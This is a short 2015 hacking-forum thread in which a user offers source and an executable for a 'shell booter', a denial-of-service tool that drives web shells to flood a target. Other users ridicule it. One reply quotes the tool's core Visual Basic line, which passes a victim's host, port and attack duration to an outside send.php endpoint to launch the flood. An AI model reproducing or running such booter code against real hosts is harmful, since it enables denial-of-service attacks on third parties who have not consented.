Thread: [Cherry's Free Shell Booter + Source](#)

.Cherry - March 11, 2015, 1:18 pm

Hello Everyone Made a Shell Booter Earlier Today Witch a wanted to share with you guys and see what you think I have provided source and exe download ?

Also If an error pops up just press continue

Btw The Power Button I just had to ?

Spoiler ([Click to View](#)) You will Realise when you have pressed the power button

Atm 121

Not all of them work will add more later

Thank you for releasing a useless tool in the vb section!

nathan72389 - March 11, 2015, 8:16 pm

nice piece of garbage you have there.

Code WebBrowser1.Navigate("http://novalytech.com/send.php?key=Cherry&host=" & (ThirteenTextBox1.Text) & "&time=" & (ThirteenTextBox3.Text) & "&port=" & (ThirteenTextBox2.Text))
